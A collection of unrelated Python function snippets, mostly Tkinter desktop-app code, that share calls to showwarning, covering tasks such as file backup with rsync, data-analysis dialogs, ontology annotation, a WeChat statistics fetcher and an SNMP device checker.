def apply(self): """ a method for writing project information to the file""" self.text.insert(END, "Creating new project " + self.projectName + " ...... \n") self.text.yview(END) # Cerate directory for the project try: os.mkdir(self.projectName) except: tkMessageBox.showwarning("Error", "Directory already exists") self.text.insert(END, " The project directory " + self.projectName + "has been created.\n") self.text.yview(END) os.chdir(self.projectName) self.text.insert(END, " Entered into the project directory " + self.projectName + "\n") self.text.yview(END) # Create model file for writing try: f = open(self.projectName + ".proj", "w") except: tkMessageBox.showwarning( "Error", "Project information file can not be wriiten. please check the file system permission" ) return 0 f.write("schematicFile " + self.projectName + ".sch\n") f.close() self.text.insert(END, "Successfully Created new project " + self.projectName + ". \n") self.text.yview(END) return 1
def run(self): try: self.com() except Exception as e: messagebox.showwarning('BLAST error', 'BLAST error:\n\n' + str(e)) self.finished = 1
def connectToServer(self): """Connect to the Server. Start a new RTSP/TCP session.""" self.rtspSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: self.rtspSocket.connect((self.serverAddr, self.serverPort)) except: tkMessageBox.showwarning('Connection Failed', 'Connection to \'%s\' failed.' %self.serverAddr)
def checksheet_name(name): if name == '': tkMessageBox.showwarning("Whoops", "Name should not be blank.") return 0 if self.sheets.has_key(name): tkMessageBox.showwarning("Name exists", "Sheet name already exists!") return 0
def start(self): if self.state == self.gs_running: self.start_button["text"] = "Run" self.run_tracking_semaphore.clear(); self.state = self.gs_paused elif self.state == self.gs_paused: self.start_button["text"] = "Pause" self.run_tracking_semaphore.set(); self.next_frame_semaphore.set(); self.state = self.gs_running self.root.after(1, self.poll_tracking_flow) else: bg = cv2.imread(self.get_bg_file_name()) if bg is None: tkMessageBox.showwarning('Start tracking', 'Can''t find the backgound image file') return; self.start_button["text"] = "Pause" self.run_tracking_semaphore.set(); self.tracking_thread = threading.Thread(target = self.tracking.do_tracking, args = (bg, self.current_frame_number, self.tracking_flow, self.time_to_stop, self.next_frame_semaphore, self.run_tracking_semaphore)) # self.tracking.do_tracking(self.video_file_name, self.current_frame_number, self.tracking_flow, self.time_to_stop); analyzer_state = self.analyzer_states[self.analyzer_index.get()] if not (analyzer_state is None): self.analyzer = analyzer_state.factory.create_analyzer(analyzer_state.configuration, TextBoxLogger(self.analyzer_messages)) else: self.analyzer = None self.tracking_thread.start() self.poll_tracking_flow() self.state = self.gs_running
def backupdata(self): print "You requested the backup routine" self.option_add('*font', 'Helvetica -14') self.option_add("*Dialog.msg.wrapLength", "10i") # Check to see if the directories were set for something else if self.varSource.get() == "SourceDir" : tkMessageBox.showwarning("Warning!", "First set the source directory!") elif self.varDestination.get() == "DestinationDir" : tkMessageBox.showwarning("Warning!", "Also remember to set the destination directory!") # OK good to go else: result = tkMessageBox.askyesno("Ready to backup!!", "You will now synchronize your folder\n\n%s\n\ninto your backup folder:\n\n%s" %(os.path.basename(self.varSource.get()),self.varDestination.get())) if result : print "You have accepted to backup" self.DiskUsage = Tkinter.StringVar() DiskUsage = os.popen('du -hs "%s"'%(self.varSource.get())).read() tkMessageBox.showinfo("First notification", "Your job size is :\n" +DiskUsage+ "\n this could take a while, please be patient.") var_rsync_command = subprocess.Popen(["rsync", "-ahv", self.varSource.get(), self.varDestination.get()], stdout=subprocess.PIPE) # Trying to make the textbox update all the time for line in iter(var_rsync_command.stdout.readline,''): self.var_textbox.insert(Tkinter.END, line) self.var_textbox.update() self.var_textbox.yview(Tkinter.END) # tkMessageBox.showinfo("Backup complete","The rsync job has finished") else: print "You declined to backup your data"
def __init__(self, host = HOST, port = PORT, start_server = True): self.addr = (host, port) self.connected = False self.failed = False self.server_process = None if start_server: missing = set([]) try: import wx except ImportError: missing.add('wx') try: import matplotlib except ImportError: missing.add('matplotlib') try: import numpy except ImportError: missing.add('numpy') if not len(missing): try: self.server_process = Popen(['python','plot_server.py']) print 'plot server started!' except: print 'Could not start plot server!' else: import tkMessageBox tkMessageBox.showwarning('Warning!', 'Could not start plot window because the following module(s) are missing: ' + ', '.join(missing))
def _CreateWidgets(self): """ This intialises and displays the windows widgets Arguments: Specifics: """ try: #-------------------------- finally setup any application specific attributes ------------------------------------------------------------------- self._CreateWidgetsOilDistribution() self._CreateWidgetsNumberOfRuns() self._CreateWidgetsResultsFileName() self._CreateWidgetsAgentsMatrixLabels() self._CreateWidgetsAgentsOptimistic() self._CreateWidgetsAgentsPessimistic() self._CreateWidgetsAgentsStubborn() self._CreateWidgetsAgentsOpportunistic() self._CreateWidgetsAgentsNeutral() self._CreateWidgetsButtons() #// Custom Class Error's first except ReynoldsWindowCreateWidgetsError as AnError: raise ReynoldsWindowCreateWidgetsError(AnError) except: raise ReynoldsWindowCreateWidgetsError("_CreateWidgets Failed") messagebox.showwarning("Internal Method Error", "_CreateWidgets Failed")
def send(self): import httplib, urllib global errors email = self.email.get() desc = self.text.get('1.0', END).strip() # Send information self.config(cursor="watch") self.text.config(cursor="watch") self.update_idletasks() params = urllib.urlencode({"email":email, "desc":desc}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} conn = httplib.HTTPConnection("www.fluka.org:80") try: conn.request("POST", "/flair/send_email_bcnc.php", params, headers) response = conn.getresponse() except: tkMessageBox.showwarning(_("Error sending report"), _("There was a problem connecting to the web site"), parent=self) else: if response.status == 200: tkMessageBox.showinfo(_("Report successfully send"), _("Report was successfully uploaded to web site"), parent=self) del errors[:] else: tkMessageBox.showwarning(_("Error sending report"), _("There was an error sending the report\nCode=%d %s")%\ (response.status, response.reason), parent=self) conn.close() self.config(cursor="") self.cancel()
def _CreateWidgetsAgentsStubborn(self): """ This intialises and displays the stubborn agent's widgets Arguments: Specifics: """ try: self.StubbornOptimism = StringVar() self.StubbornOptimism.set("56.25") self.txtStubbornOptimism = Entry(self, textvariable=self.StubbornOptimism) self.txtStubbornOptimism.grid(row=6, column=1) self.StubbornPessimism = StringVar() self.StubbornPessimism.set("100") self.txtStubbornPessimism = Entry(self, textvariable=self.StubbornPessimism) self.txtStubbornPessimism.grid(row=6, column=2) self.NumberOfStubborn = StringVar() self.NumberOfStubborn.set("0") self.txtNumberOfStubborn = Entry(self, textvariable=self.NumberOfStubborn) self.txtNumberOfStubborn.grid(row=6, column=3) #// Custom Class Error's first except: raise ReynoldsWindowCreateWidgetsError("_CreateWidgetsAgentsStubborn Failed") messagebox.showwarning("Internal Method Error", "_CreateWidgetsAgentsStubborn Failed")
def _CreateWidgetsAgentsNeutral(self): """ This intialises and displays the neutral agent's widgets Arguments: Specifics: """ try: self.NeutralOptimism = StringVar() self.NeutralOptimism.set("10") self.txtNeutralOptimism = Entry(self, textvariable=self.NeutralOptimism) self.txtNeutralOptimism.grid(row=8, column=1) self.NeutralPessimism = StringVar() self.NeutralPessimism.set("10") self.txtNeutralPessimism = Entry(self, textvariable=self.NeutralPessimism) self.txtNeutralPessimism.grid(row=8, column=2) self.NumberOfNeutral = StringVar() self.NumberOfNeutral.set("0") self.txtNumberOfNeutral = Entry(self, textvariable=self.NumberOfNeutral) self.txtNumberOfNeutral.grid(row=8, column=3) #// Custom Class Error's first except: raise ReynoldsWindowCreateWidgetsError("_CreateWidgetsAgentsNeutral Failed") messagebox.showwarning("Internal Method Error", "_CreateWidgetsAgentsNeutral Failed")
def p_load_file(self): '''Select PLink file to load''' # open file options options = {} options['defaultextension'] = '.txt' options['filetypes'] = [('link files', '.lnk'), ('all files', '.*'),\ ('text files', '.txt')] filename = tkFileDialog.askopenfilename(**options) if filename == '': # no file selected (canceled) return try: print '\n%s' %filename data = load_plink(filename, gui=True) object_data = make_objects(data[0],data[1],data[2],data[3],data[4], data[5]) regions = object_data[3] except Exception as error: tkMessageBox.showwarning('Loading', \ 'Loading failed (%s)\n%s' \ %(filename, traceback.format_exc().splitlines()[-1])) print traceback.print_exc() return if self.show_shaded.get(): vie = (object_data[0], object_data[1], object_data[2]) # Vertices, Intersections, Edges else: vie = None self.p_output(regions, vie, filename)
def _CreateWidgetsAgentsPessimistic(self): """ This intialises and displays the pessimistic agent's widgets Arguments: Specifics: """ try: self.PessimisticOptimism = StringVar() self.PessimisticOptimism.set("20") self.txtPessimisticOptimism = Entry(self, textvariable=self.PessimisticOptimism) self.txtPessimisticOptimism.grid(row=5, column=1) self.PessimisticPessimism = StringVar() self.PessimisticPessimism.set("50") self.txtPessimisticPessimism = Entry(self, textvariable=self.PessimisticPessimism) self.txtPessimisticPessimism.grid(row=5, column=2) self.NumberOfPessimists = StringVar() self.NumberOfPessimists.set("0") self.txtNumberOfPessimists = Entry(self, textvariable=self.NumberOfPessimists) self.txtNumberOfPessimists.grid(row=5, column=3) #// Custom Class Error's first except: raise ReynoldsWindowCreateWidgetsError("_CreateWidgetsAgentsPessimistic Failed") messagebox.showwarning("Internal Method Error", "_CreateWidgetsAgentsPessimistic Failed")
def k_load_file(self): '''select file to load''' # open file options options = {} options['defaultextension'] = '.txt' options['filetypes'] = [('all files', '.*'), ('text files', '.txt')] self.filename = tkFileDialog.askopenfilename(**options) if self.filename == '': # canceled return try: print '\n%s' %self.filename data = load(self.filename, filename=True) regions = data[3] except Exception as error: tkMessageBox.showwarning('Loading', \ 'Loading failed (%s)\n%s' %(self.filename, \ traceback.format_exc().splitlines()[-1])) print traceback.print_exc() return if self.show_shaded.get(): vie = (data[0], data[1], data[2]) # Vertices, Intersections, Edges else: vie = None self.k_output(regions, vie, self.filename)
def new_plink(self): '''Draw new link in PLink''' print '\nNew PLink' try: data = load_plink(gui=True) except Exception as error: tkMessageBox.showwarning('PLink error', \ 'Perhaps PLink is not installed properly?') print traceback.print_exc() return object_data = make_objects(data[0],data[1],data[2],data[3],data[4], data[5]) regions = object_data[3] if data[6] == '': path = 'PLink data not saved' print path else: path = data[6] print 'Saved to %s' %path if self.show_shaded.get(): vie = (object_data[0], object_data[1], object_data[2]) # Vertices, Intersections, Edges else: vie = None self.p_output(regions, vie, path)
def main(): global APT_CACHE fp = open(PID_FILE, 'w') try: fcntl.lockf(fp, fcntl.LOCK_EX | fcntl.LOCK_NB) except IOError: tkMessageBox.showwarning("HATA", "Bu program veya baska bir paket yoneticisi calisiyor.\n\nDiger program kapandiktan sonra tekrar deneyin.\n") exit(1) try: APT_CACHE = apt.Cache() except: tkMessageBox.showwarning("HATA", "Baska bir paket yoneticisi calisiyor.\n\nDiger program kapandiktan sonra tekrar deneyin.\n") exit(1) try: print "opening GUI" gui = GUI() gui.minsize(width=480, height=320) # gui.maxsize(width=640, height=500) gui.mainloop() except: # bug varsa sistemi guncelle :) system_update()
def paste_DNA(self,event=None): """Paste stuff""" text=self.master.selection_get(selection = "CLIPBOARD") # Check that we have DNA import string text=string.replace(text,'\n','') text=string.replace(text,'\r','') text=string.replace(text,' ','') DNA=['A','C','G','T','a','c','g','t'] for letter in text: if not letter in DNA: tkMessageBox.showwarning('Invalid DNA sequence', '"%s" is not a valid DNA sequence. \n"%s" is first illegal base.' %(text,letter), parent=self.master) return # Make upper case text=string.upper(text) # ok start=self.data['DNA_selection']['start'] stop=self.data['DNA_selection']['stop'] p_start=min(start,stop) p_end=max(start,stop) self.data['DNAseq']=self.data['DNAseq'][:p_start]+text+self.data['DNAseq'][p_end:] self.clear_selection() self.update_sequence_window() return
def press_eat(master, eat): """Срабатывает при нажатии на кнопку выбора собственно блюда. Добавляет блюдо в список, или возвращается к выбору категории, если нажата кнопка с eat=''.""" if eat: count = panel() if count: rest = queries.items_in_storage(eat) if rest and (count > int(rest)): if tkMessageBox.askokcancel('Внимание!', 'Вы хотите списать больше, чем есть на складе!\n\n'+ 'В настоящий момент на складе %s единиц\n' % rest + 'А вы хотите списать %d!\n\n' % count + 'Желаете списать все со склада, что там осталось?\n'): if int(rest): lostList.add_eat(eat, int(rest)) else: tkMessageBox.showwarning('ОДнако!', 'А там ничего не осталось...') else: lostList.add_eat(eat, count) else: parent_name = master.winfo_parent() parent = master._nametowidget(parent_name) master.destroy() lostBottomFrame = Canvas(MasterFrame, highlightthickness=0) show_lost.master = lostBottomFrame if USE_BACKGROUND: lostBottomFrame.create_image(0,0, anchor='nw', image=data.photo) lostBottomFrame.pack(side=LEFT, fill=BOTH, expand=YES) show_lost_cathegory(lostBottomFrame)
def sail(self, number): sail_to = number sail_to -= 1 if sail_to == self.boat['city']: self.TKresponse.set("You're already there\nWhat would you like to do.") self.action = "" return elif sail_to > 6 or 0 > sail_to: self.TKresponse.set("No go Captain, thar be sea snakes!\nWhat would you like to do.") self.action = "" self.entry.delete(0,tk.END) return else: if 1 == random.randrange(1,21): tkm.showwarning("Alert!", "You got robbed! Your ship was looted while you were asleep.") for i in self.wares: self.boat[i] = int(math.floor(self.boat[i]/2)) if 1 == random.randrange(1,8): bigger_boat(self) self.boat['city'] = sail_to #self.TKcity.set(self.cities[sail_to]) self.turn +=1 self.TKresponse.set("***** Welcome to %s, turn %s *****\nWhat now Captain?" % (self.cities[sail_to],self.turn)) self.action = "" self.action_item = "" self.entry.bind("<Return>", self.value_in) self.current_prices(sail_to) self.TKupdate() return True
def handlePCA(self, event=None): if self.data == None: tkMessageBox.showwarning("Instructions", "You must read in a file first") return headers = self.data.get_headers() p = PCASelect(self.root,headers) print p.result if not p.result: return else: if p.result[2] in self.results.keys(): tkMessageBox.showwarning("Instructions", "You have already used that filename. Either delete it (Select then Cmd-d) or choose a new name") return self.label['text'] = "PCA Read Successful" self.results[p.result[2]] = [self.data, p.result[1], p.result[0] ] if not self.made_analysis: self.made_analysis = True label = tk.Label( self.position, text="PCA Data Sets", width=20, fg='Black' ) label.pack( side=tk.TOP, pady=2 ) self.box = tk.Listbox(self.position, selectmode=tk.SINGLE, exportselection=0) self.box.pack( side=tk.TOP, pady=2 ) button = tk.Button( self.position, text="Plot PCA", command=self.plotPCA ) button.pack(side=tk.TOP) # default side is top self.box.insert(tk.END, p.result[2])
def cluster(self, event = None): if self.data == None: tkMessageBox.showwarning("Instructions", "You must read in a file first") return headers = self.data.get_headers() output = ClusterSelect(self.root, headers) if output.okField == False: self.label['text'] = "Data selection cancelled" return if output.result == False: return print output.result codes = analysis.kmeans(self.data, output.result[0], output.result[1], whiten=True, categories = '')[1] newCol = ["Categories", "numeric"] codes = codes.T.tolist()[0] for code in codes: newCol.append(code) self.data.addData(newCol) newHeaders =output.result[0] newHeaders.append("Categories") print "Cheking if checked" print output.result[1] d = self.handlePlotData(newHeaders, output.result[2], codes) # removes the added Categories column once finished self.data.removeLast()
def handleChooseAxes(self, headers = '', cluster=False): if headers == '': self.createDialog(self.data.get_headers()) else: self.createDialog(headers, cluster=True) print "okField ", self.ok ret = [] if self.ok == False: self.label['text'] = "Data selection cancelled" return None if self.xData == None or self.yData == None: print "in here again" tkMessageBox.showwarning("Instructions", "You must input data for the x and y coordinates") return None ret.append(self.xData) ret.append(self.yData) if self.zData != None: ret.append(self.zData) if self.colorData != None: ret.append(self.colorData) if self.sizeData != None: ret.append(self.sizeData) return [self.xData,self.yData, self.zData, self.colorData, self.sizeData]
def loadDG7(self, fields, data): if data.has_key('5F43'): try: stream = convertImage(data['5F43'][0]) self.updatePicture(stream, self.SIGN) except Exception, msg: tkMessageBox.showwarning("Image Error", str(msg))
def add_show(self,default): # append it to the showlist and then add the medialist if self.current_showlist<>None: d = Edit1Dialog(self.root,"AddShow", "Show Reference", "") if d.result == None: return name=str(d.result) if name=="": tkMessageBox.showwarning( "Add Show", "Name is blank" ) return if self.current_showlist.index_of_show(name)<>-1: tkMessageBox.showwarning( "Add Show", "A Show with this name already exists" ) return copied_show=self.current_showlist.copy(default,name) mediafile=self.add_medialist(name) if mediafile<>'': copied_show['medialist']=mediafile self.current_showlist.append(copied_show) self.save_showlist(self.pp_profile_dir) self.refresh_shows_display()
def add_medialist(self,name=None): if name==None: d = Edit1Dialog(self.root,"Add Medialist", "File", "") if d.result == None: return '' name=str(d.result) if name=="": tkMessageBox.showwarning( "Add medialist", "Name is blank" ) return '' if not name.endswith(".json"): name=name+(".json") path = self.pp_profile_dir + os.sep + name if os.path.exists(path)== True: tkMessageBox.showwarning("Add medialist","Medialist file exists\n(%s)" % path) return '' nfile = open(path,'wb') nfile.write("{") nfile.write("\"issue\": \""+self.editor_issue+"\",\n") nfile.write("\"tracks\": [") nfile.write("]") nfile.write("}") nfile.close() # append it to the list self.medialists.append(copy.deepcopy(name)) # add title to medialists display self.medialists_display.insert(END, name) # and set it as the selected medialist self.refresh_medialists_display() return name
def search(cls, event=None): "Search the text in the search_entry widget by creating a new instance " "of the ConcurrentSearch class (after validating it by means of the " "validate_question function in the question module), and depict the " "results obtained in the results_listbox widget " "The contents of the sv variable will be displayed on the " "message_index widget, and updated by the thread responsible for " "carrying out the index operation" input = cls.search_entry.get() cls.results_listbox.delete(0, END) if question.validate_question_string(input): cls.similar_button.pack(side=RIGHT, pady=10) window_index = Toplevel(cls.top, width=200) window_index.title("Buscando...") window_index.wm_iconbitmap(bitmap="@python.xbm") sv = StringVar() message_index = Message(window_index, textvariable=sv, aspect=800) message_index.pack(side=LEFT, fill=BOTH, expand=1) t_search = cls.ConcurrentSearch( output_stream=sv, results_output=cls.results_listbox, algorithm=cls.algorithm.get(), question=input ) t_search.start() else: tkMessageBox.showwarning( "Entrada no valida", "La pregunta realizada debe cumplir con el formato: (termino peso?)+\n" )
def validate(self): try: self.result = (int(self.s_sx.get()), int(self.s_sy.get()), int(self.s_ox.get()), int(self.s_oy.get())) return 1 except ValueError: tkMessageBox.showwarning("Bad Input", "Only Integers allowed") return 0
def apply(self): self.result.append( self.e1.get(tk.ACTIVE) ) self.result.append( self.e2.get(tk.ACTIVE) ) if not self.e1.curselection(): self.result[0] = None print "e1 active is ", self.result[0] if not self.e2.curselection(): self.result[1] = None print "e2 active is ", self.result[1] length = 0 for i in range(len(self.result)): if self.result[i] != None: length+=1 if(length == 2): return self.result else: tkMessageBox.showwarning("Instructions", "You must select an independent and a dependent variable") return None
def _mouseWheel(self, event): """ Mouse wheel moved """ # event.num == 4 -> up # event.num == 5 -> down #print "mouse wheel ",event val = self.odf[self.selectedPar.get()] pname = self.selectedPar.get() try: if self.modModus.get() == "add": mf = float(self.modEntryTextAdd.get()) elif self.modModus.get() == "mul": mf = float(self.modEntryTextMul.get()) except ValueError: tkMessageBox.showwarning("Invalid float", "Cannot convert " + self.modEntry.get() + " to float." + \ " Make it a valid value to proceed.") return if event.num == 4: if self.modModus.get() == "mul": self.odf[pname] = val * mf else: self.odf[pname] = val + mf elif event.num == 5: if self.modModus.get() == "mul": self.odf[pname] = val / mf else: self.odf[pname] = val - mf self._parameterValueChanged()
def deleteAnalysis(self,event=None): if len(self.box.curselection()) > 0: self.results.pop(self.box.get(self.box.curselection()[0]), None) self.box.delete(self.box.curselection()[0]) else: tkMessageBox.showwarning("Instructions", "Please select an analysis")
def undoAnnotation(self): """ Resolves the undo operation. It takes one entry from the undoStack and do the opposite operation. :return: 'True', if GUI should be closes, 'False' otherwise. """ if not self.gui.undoStack: tkMessageBox.showwarning(c.UNDO, c.UNDO_NO_OPERATION) return False undoOperationList = self.gui.undoStack.pop() removeOperationList = [] updElm = set() isTriple = False tripleAdd = 0 tripleRemove = 0 for operation in undoOperationList: if operation["type"] == "add_property": # Removes the property from property triples # (there should be only one added property) isTriple = True tripleAdd += 1 triple = operation["triple"] ptype = operation["tripleType"] self.removePropertyTriple(triple, ptype) elif operation["type"] == "remove_property": isTriple = True tripleRemove += 1 triple = operation["triple"] ptype = operation["tripleType"] self.addPropertyTriple(triple, ptype) else: updElm.add(operation["instanceId"]) if operation["type"] == "add": self.removeAnnotation(operation, fromUndo=True) if operation["type"] == "remove": removeOperationList.append(operation) for operation in removeOperationList: self.addElementsIntoAnnotation([(operation["entityName"], operation["instanceId"])], operation, fromUndo=True) self.gui.serialize() if isTriple: changedTriples = abs(tripleAdd - tripleRemove) if changedTriples == 0: tkMessageBox.showwarning(c.UNDO, c.UNDO_TRIPLES) elif changedTriples == 1: tkMessageBox.showwarning(c.UNDO, c.UNDO_ONE_TRIPLE) else: tkMessageBox.showwarning(c.UNDO, c.UNDO_VAR_TRIPLES % str(changedTriples)) self.gui.refreshPropertyTree(self.gui.treePropertyPicker) # Clear the original tree and reload it self.gui.treeEntityPicker.\ delete(*self.gui.treeEntityPicker.get_children()) self.gui.treePropertyPicker.\ delete(*self.gui.treePropertyPicker.get_children()) self.gui.loadSerializedOntology(self.gui.treeEntityPicker) if not isTriple: tkMessageBox.showwarning(c.UNDO, c.UNDO_VAR_ANNOT % str(len(updElm))) return False
def noprintermsg(): tkMessageBox.showwarning('Warning!', 'There is no printer found')
def displayNoDBWarning(self): """Warn user that no DB is present""" tkMessageBox.showwarning( "Cannot launch plugin", 'No Database is currently open. ' 'You should first open a project.') return
def new(self, caller, data): mwindow = Toplevel(caller) mwindow.title("ATTENDANCE SHEET") mwindow.configure(height=650, width=900, bg="#990066") mwindow.minsize(height=650, width=900) mwindow.maxsize(height=650, width=900) menu = Menu(mwindow) menu1 = Menu(menu, activebackground="pink", tearoff=0) menu.add_cascade(menu=menu1, label="Admin") menu.add_command(label="System Guide") help1 = Menu(menu, activebackground="pink", tearoff=0) menu.add_cascade(menu=help, label="help") help1.add_command(label="About Us") mwindow['menu'] = menu f = tkFont.Font(size=15, weight="bold", family="Helvetica") frm1 = Frame(mwindow, height=630, width=200, bg="#990066") frm1.grid(row=1, column=1, padx=10, pady=10, sticky=N) frm2 = Frame(mwindow, height=630, width=660, bg="#990066") frm2.grid(row=1, column=2, padx=10, sticky=W + N + S + E) image = Image.open("Photo/Spic/" + str(data[2]) + ".jpg") img1 = image.resize((200, 150), Image.ANTIALIAS) img2 = img1.save("pic/" + str(data[2]) + ".gif") image = PhotoImage(file="pic/" + str(data[2]) + ".gif") lbl_image = Label(frm1) lbl_image["image"] = image lbl_image.grid(row=1, column=1, pady=5, sticky=(NW)) if data is not None: try: frm4 = Frame(frm2, height=60, width=660, bg="#990066") frm4.grid(row=2, column=1, padx=10, pady=10, sticky=W) lbl2 = Label(frm4, text="Name", fg="gray", bg="#990066", font=f) lbl2.grid(row=1, column=1, sticky=W, padx=4, pady=5) lbl21 = Label(frm4, text=str(data[0]), fg="gray", bg="#990066", font=f) lbl21.grid(row=1, column=2, sticky=W, padx=50, pady=5) lbl5 = Label(frm4, text="Enrollment ID", fg="gray", bg="#990066", font=f) lbl5.grid(row=2, column=1, sticky=W, padx=2, pady=5) lbl51 = Label(frm4, text=str(data[1]), fg="gray", bg="#990066", font=f) lbl51.grid(row=2, column=2, sticky=W, padx=50, pady=5) lblcid = Label(frm4, text="College ID", fg="gray", bg="#990066", font=f) lblcid.grid(row=3, column=1, sticky=W, padx=2, pady=5) lblcid1 = Label(frm4, text=str(data[2]), fg="gray", bg="#990066", font=f) lblcid1.grid(row=3, column=2, sticky=W, padx=50, pady=5) lbl6 = Label(frm4, text="Email", fg="gray", bg="#990066", font=f) lbl6.grid(row=4, column=1, sticky=W, padx=2, pady=5) lbl61 = Label(frm4, text=str(data[3]), fg="gray", bg="#990066", font=f) lbl61.grid(row=4, column=2, sticky=W, padx=50, pady=5) lbl7 = Label(frm4, text="House Address", fg="gray", bg="#990066", font=f) lbl7.grid(row=5, column=1, sticky=W, padx=2, pady=5) lbl71 = Label(frm4, text=str(data[4]), fg="gray", bg="#990066", font=f) lbl71.grid(row=5, column=2, sticky=W, padx=50, pady=5) lblcity = Label(frm4, text="Area", fg="gray", bg="#990066", font=f) lblcity.grid(row=6, column=1, sticky=W, padx=2, pady=5) lblcity1 = Label(frm4, text=str(data[5]), fg="gray", bg="#990066", font=f) lblcity1.grid(row=6, column=2, sticky=W, padx=50, pady=5) lblstate = Label(frm4, text="City", fg="gray", bg="#990066", font=f) lblstate.grid(row=7, column=1, sticky=W, padx=2, pady=5) lblstate1 = Label(frm4, text=str(data[6]), fg="gray", bg="#990066", font=f) lblstate1.grid(row=7, column=2, sticky=W, padx=50, pady=5) course = Label(frm4, text="State", fg="gray", bg="#990066", font=f) course.grid(row=8, column=1, sticky=W, padx=2, pady=5) course1 = Label(frm4, text=str(data[7]), fg="gray", bg="#990066", font=f) course1.grid(row=8, column=2, sticky=W, padx=50, pady=5) lblsem = Label(frm4, text="Course", fg="gray", bg="#990066", font=f) lblsem.grid(row=9, column=1, sticky=W, padx=2, pady=5) lblsem1 = Label(frm4, text=str(data[8]), fg="gray", bg="#990066", font=f) lblsem1.grid(row=9, column=2, sticky=W, padx=50, pady=5) streamx = Label(frm4, text="Semester", fg="gray", bg="#990066", font=f) streamx.grid(row=10, column=1, sticky=W, padx=2, pady=5) streamy = Label(frm4, text=str(data[9]), fg="gray", bg="#990066", font=f) streamy.grid(row=10, column=2, sticky=W, padx=50, pady=5) stream = Label(frm4, text="Stream", fg="gray", bg="#990066", font=f) stream.grid(row=11, column=1, sticky=W, padx=2, pady=5) stream1 = Label(frm4, text=str(data[10]), fg="gray", bg="#990066", font=f) stream1.grid(row=11, column=2, sticky=W, padx=50, pady=5) stream = Label(frm4, text="Mobile Number", fg="gray", bg="#990066", font=f) stream.grid(row=12, column=1, sticky=W, padx=2, pady=5) stream1 = Label(frm4, text=str(data[11]), fg="gray", bg="#990066", font=f) stream1.grid(row=12, column=2, sticky=W, padx=50, pady=5) mwindow.mainloop() except Exception as e: import tkMessageBox tkMessageBox.showwarning("Warning", str(e))
def getWechatData(begin_date, end_date, token): print(u'== 开始请求 ==') url = 'http://mp.weixin.qq.com/misc/appmsganalysis' params = { 'action': 'all', 'begin_date': begin_date, 'end_date': end_date, 'order_by': '1', 'order_direction': '1', 'token': token, 'lang': 'zh_CN', 'f': 'json', 'ajax': '1' } headers = { 'cache-control': 'no-cache', } cookies = chrome_cookies('https://mp.weixin.qq.com') print(params) response = requests.request('GET', url, headers=headers, params=params, cookies=cookies) print(response.text) respJson = json.loads(response.text) if respJson['base_resp']['ret'] == 0: items = json.loads(respJson['total_article_data'])['list'] print(u'== 请求成功,请求量为' + str(len(items)) + u'个 ==') return items elif respJson['base_resp']['ret'] == -1: print(u'== 请使用Chrome到mp.weixin.qq.com进行登录 ==') showwarning(title=u'温馨提示', message=u'请使用Chrome到mp.weixin.qq.com进行登录') return -1 elif respJson['base_resp']['ret'] == 200040: print(u'== Token错误 ==') print(respJson) showwarning(title=u'Token错误', message=u'请重新填写Token') return -1 elif respJson['base_resp']['ret'] == 200003: print(u'== Session过期,请重新登录 ==') print(respJson) showwarning(title=u'Session过期', message=u'请重新登录') return -1 else: print(u'== 未知错误,请联系陈艾森 ==') print response.text showwarning(title=u'未知错误', message=u'请联系陈艾森') return -1
def a(): tkMessageBox.showwarning("Open file", "Cannot open this file\n")
def addProperty(self, selectedProperty, tags): """ Adds the property ie. the triple object - property - subject. :param selectedProperty: Property that was selected. :param tags: :return: 'True' if at least one property has been added, 'False' otherwise. """ if selectedProperty and tags: if c.TREE_TAG_PROPERTY in tags: isPropertyAdded = False countExisting = 0 countNew = 0 undoList = [] # undo function subjects = self.gui.selectedEntities # TODO: validate that subject and object are instances and # are within the domain and range of the property if c.TREE_TAG_OBJECT_PROPERTY in tags and \ self.validateSelectedRange(): for subject in subjects: for obj in self.gui.selectedRange: newTriple = [subject, selectedProperty, obj] if not self.propertyTripleExists(newTriple, c.OBJECT_PROP): self.addPropertyTriple(newTriple, c.OBJECT_PROP, undoList) countNew += 1 isPropertyAdded = True else: countExisting += 1 elif c.TREE_TAG_DATATYPE_PROPERTY in tags: for subject in subjects: value = self.dataTypeInputPrompt(subject, selectedProperty) if value is not None: newTriple = [subject, selectedProperty, value] if not self.propertyTripleExists(newTriple, c.DATATYPE_PROP): self.addPropertyTriple(newTriple, c.DATATYPE_PROP, undoList) countNew += 1 isPropertyAdded = True else: countExisting += 1 else: return False if isPropertyAdded: if countExisting > 0: show = (str(countExisting), str(countNew)) tkMessageBox.showwarning(c.PROP, c.PROP_EXIST_ADD % show) self.gui.undoStack.append(undoList) return True else: tkMessageBox.showwarning(c.PROP, c.PROP_ALL_EXIST) elif c.TREE_TAG_PROPERTIES_HEADER in tags: tkMessageBox.showwarning(c.PROP, c.PROP_HEADER) return False elif c.TREE_TAG_INSTANCE in tags: tkMessageBox.showwarning(c.PROP, c.PROP_INSTANCE) return False else: tkMessageBox.showwarning(c.PROP, c.PROP_WRONG_CHOICE) return False return False
def snmp_get_sysoid(folder, table): snmpget = os.path.dirname(os.path.abspath(__file__)) + "/" + 'SnmpGet.exe' msg_conflict = '' log_detail = '' sys_descr = '".1.3.6.1.2.1.1.1.0"' sys_oid = '".1.3.6.1.2.1.1.2.0"' extra_log = '' table = list(table) for row in table: if not row: continue row = list(row) # row: 0 1 2 3 4 5 6 == IP Port File State PID SysOid D_Status if row[4] == '---': file_path = folder + "/" + row[2] if os.path.exists(file_path): row[3] = 'Available' row[4] = '---' else: row[3] = 'File Not Found' row[4] = '---' else: cmd_snmpget = '\""%s" -q -r:%s -p:%s -t:1 -c:"public" -o:%s' \ % (snmpget, row[0].replace('96', '127'), row[1], sys_oid) response = os.popen(cmd_snmpget).read() response = response.replace('\n', '') if response.__contains__('Timeout'): row[3] = 'Stopped' sys_oid_value = '---' elif response.__contains__('1.3.6.1.4.1'): row[3] = 'Running' sys_oid_value = response vendor_oid = response.split('.')[6] else: row[3] = 'Unknown' sys_oid_value = '---' if row[5] != '---' and row[5] != sys_oid_value and sys_oid_value != '---' and row[1] != '161': msg_conflict += '%s:%s - %s\tMibdump has changed!\n' % (row[0], row[1], row[2]) row[5] = sys_oid_value ip_address = row[0] """ cmd_get_device = '\"%s/bin/pu.exe\" -u %s -p %s ' \ '%ssnmpcollector get_snmp_device %s' \ % (nim_path, username, password, robot_path, ip_address) row[6] = UimDevice().check_state(cmd_get_device, ip_address) """ cmd_snmpget_sysdescr = '\""%s" -q -r:%s -p:%s -t:1 -c:"public" -o:%s' \ % 